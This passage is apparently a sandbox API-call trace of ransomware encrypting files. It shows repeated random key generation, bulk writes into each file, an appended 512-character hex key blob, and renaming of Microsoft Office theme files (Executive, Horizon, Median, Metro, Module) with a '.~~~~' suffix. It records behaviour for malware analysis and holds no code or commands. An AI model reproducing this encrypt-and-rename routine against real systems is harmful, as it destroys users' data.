	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.631] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.631] GetLastError () returned 0x0
	[0122.631] GetLastError () returned 0x0
	[0122.631] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.631] GetLastError () returned 0x0
	[0122.631] GetLastError () returned 0x0
	[0122.678] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffad5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.678] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x52a4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x52a4, lpOverlapped=0x0) returned 1
	[0122.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.681] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.681] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.681] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.681] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.681] CloseHandle (hObject=0x128) returned 1
	[0122.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.~~~~")) returned 1
	[0122.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.682] GetLastError () returned 0x0
	[0122.682] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.683] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.683] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.684] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24267366521) returned 1
	[0122.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb297c190, dwHighDateTime=0x1d60e1e)) 
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ee98
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ee98 | out: hHeap=0x300000) returned 1
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.684] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.684] GetLastError () returned 0x0
	[0122.685] GetLastError () returned 0x0
	[0122.685] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.685] GetLastError () returned 0x0
	[0122.685] GetLastError () returned 0x0
	[0122.688] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.688] WriteFile (in: hFile=0x128, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.691] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.691] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.691] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.691] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.691] CloseHandle (hObject=0x128) returned 1
	[0122.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.~~~~")) returned 1
	[0122.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.693] GetLastError () returned 0x0
	[0122.693] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.694] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.694] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.694] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24268430365) returned 1
	[0122.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb29a22f0, dwHighDateTime=0x1d60e1e)) 
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eed0
	[0122.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eed0 | out: hHeap=0x300000) returned 1
	[0122.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.695] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.695] GetLastError () returned 0x0
	[0122.695] GetLastError () returned 0x0
	[0122.695] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.695] GetLastError () returned 0x0
	[0122.695] GetLastError () returned 0x0
	[0122.698] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6586, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.698] WriteFile (in: hFile=0x128, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x9a7a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x25dfec0*=0x9a7a, lpOverlapped=0x0) returned 1
	[0122.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.700] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.700] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.700] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.700] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.700] CloseHandle (hObject=0x128) returned 1
	[0122.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8b50
	[0122.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.~~~~")) returned 1
	[0122.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8b50 | out: hHeap=0x300000) returned 1
	[0122.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.702] GetLastError () returned 0x0
	[0122.702] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.704] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.704] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.704] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24269401701) returned 1
	[0122.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb29c8450, dwHighDateTime=0x1d60e1e)) 
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ef08
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ef08 | out: hHeap=0x300000) returned 1
	[0122.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.705] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.705] GetLastError () returned 0x0
	[0122.705] GetLastError () returned 0x0
	[0122.705] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.705] GetLastError () returned 0x0
	[0122.705] GetLastError () returned 0x0
	[0122.708] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffa1cb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.708] WriteFile (in: hFile=0x128, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x5e35, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x25dfec0*=0x5e35, lpOverlapped=0x0) returned 1
	[0122.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.713] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.713] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.713] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.713] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.713] CloseHandle (hObject=0x128) returned 1
	[0122.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b89e0
	[0122.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.~~~~")) returned 1
	[0122.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b89e0 | out: hHeap=0x300000) returned 1
	[0122.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.715] GetLastError () returned 0x0
	[0122.715] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.716] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.716] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.716] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24270659414) returned 1
	[0122.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb29c8450, dwHighDateTime=0x1d60e1e)) 
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ef40
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ef40 | out: hHeap=0x300000) returned 1
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.717] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.718] GetLastError () returned 0x0
	[0122.847] GetLastError () returned 0x0
	[0122.847] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.847] GetLastError () returned 0x0
	[0122.847] GetLastError () returned 0x0
	[0122.881] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff56a3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.882] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xa95d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xa95d, lpOverlapped=0x0) returned 1
	[0122.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.883] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.883] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.883] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.883] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.884] CloseHandle (hObject=0x128) returned 1
	[0122.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x391400
	[0122.884] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.~~~~")) returned 1
	[0122.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x391400 | out: hHeap=0x300000) returned 1
	[0122.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.885] GetLastError () returned 0x0
	[0122.890] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.891] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.891] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.892] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24288170042) returned 1
	[0122.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2b914d0, dwHighDateTime=0x1d60e1e)) 
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e2d0
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e2d0 | out: hHeap=0x300000) returned 1
